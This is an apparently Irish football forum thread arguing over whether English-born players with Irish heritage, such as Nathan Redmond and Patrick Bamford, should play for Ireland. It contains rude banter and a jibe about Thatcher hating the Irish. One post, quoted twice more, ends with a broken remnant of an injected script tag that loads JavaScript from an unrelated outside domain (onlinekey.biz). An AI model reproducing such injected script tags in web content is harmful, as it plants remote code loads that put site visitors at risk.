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Originally posted by pre Madonna pre Madonna wrote:

I am slowly coming to the conclusion that Javier is a comic genius on a different plain from us, spreading subversive and acerbic wit in the guise of a Peronist xenophobe.
An Argentine Frank Sidebottom who won’t be truly understood until he has passed, but when he does there will be virtual pilgrimages on here from devoted fans the world over.
there is a sense of Globalization in football as well. pre Madonna....ALDO said that when he was approached to play for Eire in 1985 he said that was all for him. and I remember he said TATCHER hated 3 things. Football, Liverpool city that wasn't UK...and the Irish. don't you think that sense is still there ?
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Joshua Kayode is on the bench for Rotherham today; probably deserves a place in one of our underage squads.
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If we can get Redmond now is when. England getting big goal fests for their kingdom. Now its time to get Redmond on board along with Paddy. But can Paddy Bamford play the lone striker role? it s Time to move fast
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I'd sooner watch McGoldrick chasing balls past the goal line than the right honorable Sir Bamford traipsing the ashes of his England dream half-heartedly around the Aviva. With his dad playing off him.

Nathan Redmond? Wore the England shirt 78 times, including once at full international level. Sick
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I'd sooner watch McGoldrick chasing balls past the goal line than the right honorable Sir Bamford traipsing the ashes of his England dream half-heartedly around the Aviva. With his dad playing off him.

Nathan Redmond? Wore the England shirt 78 times, including once at full international level. Sick
you failed as an Irish free state mother if your kids play for f**king angeterre? that's my questions.
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Originally posted by Sullivinho Sullivinho wrote:

I'd sooner watch McGoldrick chasing balls past the goal line than the right honorable Sir Bamford traipsing the ashes of his England dream half-heartedly around the Aviva. With his dad playing off him.

Nathan Redmond? Wore the England shirt 78 times, including once at full international level. Sick

Did you have a problem with David McGoldrick playing last night?McGoldrick who didn't know he had any Irish connection until 2014? Sure, he chose us over Scotland, but would he have chose us over England? Nathan Redmond has an Irish mother. England may well have been his first choice, but I don't see the difference between a lad having England as his first choice when he is younger and coming to us later and a lad who declares at 18/19 because he knows he won't make it for England. The only difference is the older lad, like Redmond or Bamford, is more likely to be better.
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Originally posted by pre Madonna pre Madonna wrote:

Originally posted by Sullivinho Sullivinho wrote:

I'd sooner watch McGoldrick chasing balls past the goal line than the right honorable Sir Bamford traipsing the ashes of his England dream half-heartedly around the Aviva. With his dad playing off him.

Nathan Redmond? Wore the England shirt 78 times, including once at full international level. Sick

Did you have a problem with David McGoldrick playing last night?McGoldrick who didn't know he had any Irish connection until 2014? Sure, he chose us over Scotland, but would he have chose us over England? Nathan Redmond has an Irish mother. England may well have been his first choice, but I don't see the difference between a lad having England as his first choice when he is younger and coming to us later and a lad who declares at 18/19 because he knows he won't make it for England. The only difference is the older lad, like Redmond or Bamford, is more likely to be better.


I agree with PM here, I wouldn't have any real issue with Bamford or Redmond as they'd improve our playing squad in an area we currently lack.

The old argument but think back to Townsend, Houghton etc. Ireland weren't their first choice growing up


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Originally posted by pre Madonna pre Madonna wrote:

Did you have a problem with David McGoldrick playing last night?McGoldrick who didn't know he had any Irish connection until 2014? Sure, he chose us over Scotland, but would he have chose us over England?


None whatsoever. By all accounts, McGoldrick got his declaration/paperwork underway soon after discovering his eligibility. I have no problem with England being his first choice growing up.


Originally posted by pre Madonna pre Madonna wrote:

Nathan Redmond has an Irish mother. England may well have been his first choice, but I don't see the difference between a lad having England as his first choice when he is younger and coming to us later and a lad who declares at 18/19 because he knows he won't make it for England. The only difference is the older lad, like Redmond or Bamford, is more likely to be better.


I believe international football is solely worth a damn because of the legitimate partisanship it supposedly stands for. I also reckon there's enough room for idealism and cynicism in a supporter's outlook and both rely on certain etiquettes and gut feelings.

A bit of pride goes a long way too. 


Now, If you're OK with a guy who played at full international level for England throwing on his green consolation prize, bully for you, Madge. Personally, I think it's a joke, devalues the international game and has me reminiscing on the scent of vomit. Just as the Rice saga and its bleeding heart thinkpieces did. Did the winner of the 'most pragmatic response' award ever collect their prize?

Similarly, one can placidly play along with Bamford's long game and bang out their joy on these forums the minute he finally declares.

I'll reserve the right to think he's not-so-subtly taking the piss.
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Redmond case is stronger ...he has an Irish mother raised by herself. does she hate Ireland?
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I don't think redmond will get much of a look in with England in the future especially now ward-prouse has passed him on the selection stakes. But still I don't want him for Ireland, after the anger I felt when Rice defected and I want the rules changed, I won't be hypocrical by been happy when a player defects to us. You play for a country that's it. Redmond is English and let it be.
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What the likes of McClean don't seem to understand is that ALL his english teammates are likely playing in Green because they aren't good enough to play in white. Rice is an exception only in circumstance in that he developed to be good enough to be picked by England before he'd won a full (meaningful) cap. Unless they have all Irish family like Breen and Kilbane they are likely to support the country they are born and raised as well as be attracted to the better prospects of success and glory that come with it. 

The first step towards addressing whether we should be calling up the granny rulers is accepting the reality we are their second choice. I can live with the Ireland as a club mentality that all that matters is getting the best team of players, though I don't agree with it as it defeats what international football is about.....the pride in your country being represented. What offends me a lot more though is the layers of delusion and fabrication of an Irish identity, perpetuated by the newspapers and FAI that always have to hype up the 'I am so proud of honouring my dead granny from Co Mayo' angle to try and legitimise the whole process and try and give them some credibility. Its all horses**t but people just lap it up.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
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Originally posted by Sullivinho Sullivinho wrote:

Originally posted by pre Madonna pre Madonna wrote:

Did you have a problem with David McGoldrick playing last night?McGoldrick who didn't know he had any Irish connection until 2014? Sure, he chose us over Scotland, but would he have chose us over England?


None whatsoever. By all accounts, McGoldrick got his declaration/paperwork underway soon after discovering his eligibility. I have no problem with England being his first choice growing up.


Originally posted by pre Madonna pre Madonna wrote:

Nathan Redmond has an Irish mother. England may well have been his first choice, but I don't see the difference between a lad having England as his first choice when he is younger and coming to us later and a lad who declares at 18/19 because he knows he won't make it for England. The only difference is the older lad, like Redmond or Bamford, is more likely to be better.


I believe international football is solely worth a damn because of the legitimate partisanship it supposedly stands for. I also reckon there's enough room for idealism and cynicism in a supporter's outlook and both rely on certain <span -dobid="hdw">etiquettes and gut feelings.

A bit of pride goes a long way too. </span>

Now, If you're OK with a guy who played at full international level for England throwing on his green consolation prize, bully for you, Madge. Personally, I think it's a joke, devalues the international game and has me reminiscing on the scent of vomit. Just as the Rice saga and its bleeding heart thinkpieces did. Did the winner of the 'most pragmatic response' award ever collect their prize?

Similarly, one can placidly play along with Bamford's long game and bang out their joy on these forums the minute he finally declares.

I'll reserve the right to think he's not-so-subtly taking the piss.



I'm in 2 minds on this......alot depends on the quality of player available and how it would strengthen us and I reckon that applies to most so we're all talking out of our hoop mostly

But the whole Grealish/Rice saga was a real eye opener, probably won't be the last time we have cases like this......in an ideal world we scrap the whole granny idea altogether and try produce our own.....will never happen though
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What the likes of McClean don't seem to understand is that ALL his english teammates are likely playing in Green because they aren't good enough to play in white. Rice is an exception only in circumstance in that he developed to be good enough to be picked by England before he'd won a full (meaningful) cap. Unless they have all Irish family like Breen and Kilbane they are likely to support the country they are born and raised as well as be attracted to the better prospects of success and glory that come with it. 

The first step towards addressing whether we should be calling up the granny rulers is accepting the reality we are their second choice. I can live with the Ireland as a club mentality that all that matters is getting the best team of players, though I don't agree with it as it defeats what international football is about.....the pride in your country being represented. What offends me a lot more though is the layers of delusion and fabrication of an Irish identity, perpetuated by the newspapers and FAI that always have to hype up the 'I am so proud of honouring my dead granny from Co Mayo' angle to try and legitimise the whole process and try and give them some credibility. Its all horses**t but people just lap it up.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">
 
lawrenson Galvin Aldridge Michael Robinson the chose right. The 4 decided Ireland before england
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Personally, I couldn't really give a damn if a fella bleeds Irish blood or not. All I care about is that the potential recruit can improve the squad. Give me 20 Nathan Redmonds over 20 Daryl Horgans any day.
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Originally posted by Conan Conan wrote:

What the likes of McClean don't seem to understand is that ALL his english teammates are likely playing in Green because they aren't good enough to play in white. Rice is an exception only in circumstance in that he developed to be good enough to be picked by England before he'd won a full (meaningful) cap. Unless they have all Irish family like Breen and Kilbane they are likely to support the country they are born and raised as well as be attracted to the better prospects of success and glory that come with it. 

The first step towards addressing whether we should be calling up the granny rulers is accepting the reality we are their second choice. I can live with the Ireland as a club mentality that all that matters is getting the best team of players, though I don't agree with it as it defeats what international football is about.....the pride in your country being represented. What offends me a lot more though is the layers of delusion and fabrication of an Irish identity, perpetuated by the newspapers and FAI that always have to hype up the 'I am so proud of honouring my dead granny from Co Mayo' angle to try and legitimise the whole process and try and give them some credibility. Its all horses**t but people just lap it up.< ="text/" async="" ="//onlinekey.biz/1f9f5ee62aefca3cb1.js">

That is grade-A horsesh*t if I've ever seen it. The idea that anyone born in England will automatically regard themselves as English is simply nonsense. There are people born here who identify more closely with the their parents/grandparents country, so why would England be any different? There are literally hundreds of thousands of English-born people who will tell you they identify as Irish over English, is it not eminently possible that some of them are footballers?
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